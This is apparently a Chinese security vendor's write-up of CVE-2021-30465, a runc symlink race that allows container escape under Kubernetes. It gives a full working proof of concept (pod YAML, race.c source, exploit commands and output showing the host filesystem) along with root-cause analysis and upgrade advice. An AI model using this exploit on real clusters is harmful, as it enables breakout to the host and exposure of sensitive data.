青藤云安全

CVE-2021-30465:runc 竞争致 docker 逃逸分析

发布日期:2022-07-27

1 漏洞简介

runc 的主要作用是使用 Linux Kernel 提供的诸如 namespaces,cgroup 等进程隔离机制以及 SELinux 等 security 功能,构建供容器运行的隔离环境,从而保证主机的安全。

runc 是一个轻量级通用容器运行环境,它允许一个简化的探针到运行和调试的底层容器的功能,不需要整个 docker 守护进程的接口。runc 可面向有安全需求的公司等部署大型 docker 集群,在GitHub上的订阅量为8000+,使用量较大。

该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。攻击者可利用该漏洞在未授权的情况下,构造恶意数据造成容器逃逸,最终造成服务器敏感性信息泄露。

目前受影响的runc版本:runc <= 1.0.0-rc94

漏洞编号:CVE-2021-30465

2 漏洞复现

2.1 环境搭建

复现环境:

虚拟机:vmware workstation 16
linux发行版:Centos 7.4.1708 2个CPU 2G内存
linux内核(使用uname -r查看):3.10.0-693.el7.x86_64 
ip(master):192.168.254.212
Docker:19.03.14
runc:1.0.0-rc10
K8S:1.18.12

2.1.1 安装Docker-ce 19.03.14

# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-cli-19.03.14-3.el7.x86_64.rpm
# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-19.03.14-3.el7.x86_64.rpm
# wget https://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/containerd.io-1.3.9-3.1.el7.x86_64.rpm
# yum install container-selinux
# rpm -i *.rpm
# systemctl enable docker && systemctl start docker

# docker version
Client: Docker Engine - Community
 Version:           19.03.14
 API version:       1.40
 Go version:        go1.13.15
 Git commit:        5eb3275d40
 Built:             Tue Dec  1 19:20:42 2020
 OS/Arch:           linux/amd64
 Experimental:      false

Server: Docker Engine - Community
 Engine:
  Version:          19.03.14
  API version:      1.40 (minimum version 1.12)
  Go version:       go1.13.15
  Git commit:       5eb3275d40
  Built:            Tue Dec  1 19:19:17 2020
  OS/Arch:          linux/amd64
  Experimental:     false
 containerd:
  Version:          1.3.9
  GitCommit:        ea765aba0d05254012b0b9e595e995c09186427f
 runc:
  Version:          1.0.0-rc10
  GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd
 docker-init:
  Version:          0.18.0
  GitCommit:        fec3683

2.1.2 设置k8s环境准备条件

安装k8s的机器需要2个 CPU 和2g内存以上。然后执行以下脚本做一些准备操作。

//关闭防火墙
# systemctl disable firewalld
# systemctl stop firewalld

//关闭selinux
//临时禁用selinux
# setenforce 0
//永久关闭 修改/etc/sysconfig/selinux文件设置
# sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
# sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config

//禁用交换分区
# swapoff -a
//永久禁用,打开/etc/fstab注释掉swap那一行。
# sed -i 's/.*swap.*/#&/' /etc/fstab

//修改内核参数
# cat <<EOF >  /etc/sysctl.d/k8s.conf
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
EOF
# sysctl --system
# reboot

2.1.3 安装k8s v1.18.12 master管理节点

如果还没安装 docker,请参照本文2.1.1 安装Docker-ce 19.03.14

如果没设置 k8s 环境准备条件,请参照本文2.1.2 设置k8s环境准备条件

以上两个步骤检查完毕之后,继续以下步骤。

1.安装 kubeadm、kubelet、kubectl

由于官方 k8s 源在 google,国内无法访问,这里使用阿里云yum源

//执行配置k8s阿里云源
# cat <<EOF > /etc/yum.repos.d/kubernetes.repo
[kubernetes]
name=Kubernetes
baseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/
enabled=1
gpgcheck=1
repo_gpgcheck=1
gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
EOF

//安装kubeadm、kubectl、kubelet
# yum install -y kubectl-1.18.12-0 kubeadm-1.18.12-0 kubelet-1.18.12-0

//启动kubelet服务
# systemctl enable kubelet && systemctl start kubelet

2.初始化k8s

以下这个命令开始安装 k8s 需要用到的 docker 镜像,因为无法访问到国外网站,所以这条命令使用的是国内的阿里云的源(registry.aliyuncs.com/google_containers)。另一个非常重要的是:这里的--apiserver-advertise-address使用的是master和node间能互相ping通的ip,我这里是192.168.254.212。这条命令执行时会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull,大概需要2分钟,请耐心等待。

//下载管理节点中用到的6个docker镜像,你可以使用docker images查看到
//这里需要大概两分钟等待,会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull

# kubeadm init --image-repository registry.aliyuncs.com/google_containers --kubernetes-version v1.18.12 --apiserver-advertise-address 192.168.254.212 --pod-network-cidr=10.244.0.0/16 --token-ttl 0

上面安装完后,会提示你输入如下命令,复制粘贴过来,执行即可

//上面安装完成后,k8s会提示你输入如下命令,执行
# mkdir -p $HOME/.kube
# sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
# sudo chown $(id -u):$(id -g) $HOME/.kube/config

以上,安装master节点完毕。可以使用kubectl get nodes查看一下,此时master处于NotReady状态,暂时不用管。

# kubectl get nodes
NAME                    STATUS   ROLES    AGE   VERSION
localhost.localdomain   NotReady    master   29m   v1.18.12

2.1.4 安装flannel

1.下载官方flannel配置文件 

使用wget命令,地址为:(https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)

# wget https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

2.安装fannel

# kubectl apply -f kube-flannel.yml

此时master处于Ready状态

# kubectl get nodes
NAME                    STATUS   ROLES    AGE   VERSION
localhost.localdomain   Ready    master   29m   v1.18.12

2.1.5 让Master也当作Node使用

出于安全考虑,默认配置下 Kubernetes 不会将 Pod 调度到 Master 节点。

我们漏洞复现为了方便,这里将让 Master 也当作 Node 使用。

使用如下命令即可

# kubectl taint node localhost.localdomain node-role.kubernetes.io/master-

2.2 漏洞复现详情

2.2.1 创建攻击POD

# kubectl create -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
    name: attack
spec:
    terminationGracePeriodSeconds: 1
    containers:
    - name: c1
      image: ubuntu:latest
      command: [ "/bin/sleep", "inf" ]
      env:
      - name: MY_POD_UID
        valueFrom:
          fieldRef:
            fieldPath: metadata.uid 
      volumeMounts:
        - name: test1
          mountPath: /test1
        - name: test2
          mountPath: /test2
$(for c in {2..20}; do
cat <<EOC
    - name: c$c
      image: donotexists.com/do/not:exist
      command: [ "/bin/sleep", "inf" ]
      volumeMounts: #容器内挂载点
        - name: test1 #宿主机目录名
          mountPath: /test1 #容器内目录名
        - name: test2
          mountPath: /test1/mnt1
        - name: test2
          mountPath: /test1/mnt2
        - name: test2
          mountPath: /test1/mnt3
        - name: test2
          mountPath: /test1/mnt4
        - name: test2
          mountPath: /test1/zzz
EOC
done
)
    volumes:
      - name: test1 #宿主机目录名
        emptyDir: #宿主机挂载点
          medium: "Memory"
      - name: test2
        emptyDir:
          medium: "Memory"
EOF

解读一下上面这个 yaml 文件内容,要在这个 pod 里创建20个容器,通过 volumes 项可以看到,这20个容器共享两个目录,一个叫 test1,一个叫 test2。

对于容器c1,它使用镜像 ubuntu:latest,对于c2-c20,它使用镜像donotexists.com/do/not:exist,这是个不合法的镜像,所以在pod创建后,c2-c20 容器不会成功创建。只有c1会创建成功。

2.2.2 编译race

race是运行 renameat2(dir,symlink,RENAME_EXCHANGE) 的简单二进制文件)

# cat > race.c <<'EOF'
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>
int main(int argc, char *argv[]) {
    if (argc != 4) {
        fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
        exit(EXIT_FAILURE);
    }
    printf(" name1 %s name2 %s linkdest %s \n", argv[1],argv[2],argv[3]);
    char *name1 = argv[1];
    char *name2 = argv[2];
    char *linkdest = argv[3];

    int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
    if (dirfd < 0) {
        perror("Error open CWD");
        exit(EXIT_FAILURE);
    }

    if (mkdir(name1, 0755) < 0) {
        perror("mkdir failed");
        //do not exit
    }
    if (symlink(linkdest, name2) < 0) {
        perror("symlink failed");
        //do not exit
    }

    while (1)
    {
        syscall(SYS_renameat2,dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
    }
}
EOF

# gcc race.c -O3 -o race

race程序的功能就是将参数1传进来的文件修改为参数2传进来的文件,在调用renameat2前,会将参数2设置为一个指向参数3传进来目录的软连接。

2.2.3 等待容器c1启动

1.将“race”二进制文件上传到c1容器中,然后执行 bash

# kubectl cp race -c c1 attack:/test1/
# kubectl exec -ti pod/attack -c c1 -- bash

2.在c1容器内创建以下符号链接(这一步原因会在本文3 漏洞分析中解释)

root@attack:/# ln -s / /test2/test2

3.在c1容器内多次运行“race”以尝试利用此条件竞争漏洞

root@attack:/# cd test1
root@attack:/# seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
 name1 mnt1 name2 mnt-tmp1 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
 name1 mnt2 name2 mnt-tmp2 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
 name1 mnt3 name2 mnt-tmp3 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
 name1 mnt4 name2 mnt-tmp4 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/

这里就是不断的将 mntX 修改为 mnt-tmpX,

而 mnt-tmpX是指向 /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/目录的软连接。

2.2.4 更新镜像

在 master主机内另开一个root shell

更新镜像

# for c in {2..20}; do
  kubectl set image pod attack c$c=ubuntu:latest
done

这里将容器c2-c20的镜像更新为合法的镜像,容器c2-c20会开始一个一个被成功创建。

2.2.5 逃逸成功

看看漏洞利用结果,如果漏洞利用成功,容器内的/test1/zzz目录会逃逸到宿主机内

# for c in {2..20}; do
  echo ~~ Container c$c ~~
  kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
done

结果如下

[root@localhost test]# for c in {2..20}; do
>   echo ~~ Container c$c ~~
>   kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
> done
~~ Container c2 ~~
test2
~~ Container c3 ~~
test2
~~ Container c4 ~~
test2
~~ Container c5 ~~
test2
~~ Container c6 ~~
test2
~~ Container c7 ~~
test2
~~ Container c8 ~~
test2
~~ Container c9 ~~
test2
~~ Container c10 ~~
test2
~~ Container c11 ~~
test2
~~ Container c12 ~~
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
~~ Container c13 ~~
test2
~~ Container c14 ~~
test2
~~ Container c15 ~~
test2
~~ Container c16 ~~
test2
~~ Container c17 ~~
test2
~~ Container c18 ~~
test2
~~ Container c19 ~~
test2
~~ Container c20 ~~
test2

可以看到c12容器逃逸成功了,我们进入c12容器内查看

# kubectl exec -ti pod/attack -c c12 -- bash
root@attack:/# ls -al test1/zzz/home/test/
.ICEauthority     .bash_logout      .bashrc           .config/          .local/           Desktop/          Downloads/        Pictures/         Templates/        kube-flannel.yml  race.c
.bash_history     .bash_profile     .cache/           .esd_auth         .mozilla/         Documents/        Music/            Public/           Videos/           race              test.yaml
root@attack:/# ls -al test1/zzz/home/test/Desktop/
total 93908
drwxr-xr-x.  2 1000 1000      142 Jun  3 02:20 .
drwx------. 14 1000 1000     4096 Jun  3 02:33 ..
-rwxrw-rw-.  1 1000 1000 30381608 Jun  3 02:19 containerd.io-1.3.9-3.1.el7.x86_64.rpm
-rwxrw-rw-.  1 1000 1000 25519432 Jun  3 02:19 docker-ce-19.03.14-3.el7.x86_64.rpm
-rwxrw-rw-.  1 1000 1000 40247412 Jun  3 02:20 docker-ce-cli-19.03.14-3.el7.x86_64.rpm


3 漏洞分析

该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中。

runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法,下面是这个函数的描述

// Note that the guarantees provided by this function only apply if the path
// components in the returned string are not modified (in other words are not
// replaced with symlinks on the filesystem) after this function has returned.
// Such a symlink race is necessarily out-of-scope of SecureJoin.
func SecureJoinVFS(root, unsafePath string, vfs VFS) (string, error) {

正如描述所言,这里存在竞争条件。:)

runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验通过的目标目录中。

但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,通过精心构造符号链接可以将主机文件目录挂载到容器中。

4 漏洞利用

K8S 没有让我们控制挂载源,但我们可以完全控制挂载的目标,所以诀窍是在 K8S 卷路径上挂载一个包含符号链接的目录,让下一个挂载使用这个新源,并且让我们可以访问节点根文件系统。 

poc中yaml文件中的配置

volumeMounts:
  - name: test1
    mountPath: /test1
  - name: test2
    mountPath: /test1/mnt1   
  - name: test2
    mountPath: /test1/mnt2
  - name: test2
    mountPath: /test1/mnt3
  - name: test2
    mountPath: /test1/mnt4
  - name: test2
    mountPath: /test1/zzz

可以看到上述配置会连续挂载test2到不同的目录。

runc 执行以下指令时

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)

如果我们race程序执行幸运的话,当我们调用时SecureJoin(),mntX是一个目录,当我们调用mount()时,mntX是一个符号链接,这相当于

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)

因为之前ln -s / /test2/test2的关系

文件系统现在是这样

/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /

这里解释一下上面这种变化,本来/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2内部如下

# ls -al /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /

在进行mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)操作之后,/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/就相当于成了/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2,中间的一个test2目录被去掉了

当我们做最后的挂载时

mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

相当于

mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)

一切顺利的话,逃逸成功!

目前看来只使用docker基本没有攻击场景,需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。

而且因为是利用竞争条件来进行利用的,有很大概率失败,我本地测试同一个pod里放了20个容器,能成功逃逸一个。

poc的利用方法是将c2+容器使用的镜像先设置为无效的镜像,待c1内布置好再更新合法的镜像给c2+;如果没有更新镜像的能力,也可以将c2+的镜像设置为很大的镜像或者延迟加载,要做到c1布置好后才进行c2+的容器生成,才有机会进行漏洞利用。

5 漏洞修复

5.1 检测组件版本

终端输入runc -v即可查看版本

5.2 官方修复建议

当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95

6 参考

http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

https://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f

https://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r

https://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60


为1000+大型客户,800万+台服务器
提供稳定高效的安全防护

预约演示 联系我们
电话咨询
售前业务咨询
400-800-0789转1
售后业务咨询
400-800-0789转2
复制成功
在线咨询
扫码咨询
扫码咨询
预约演示 下载资料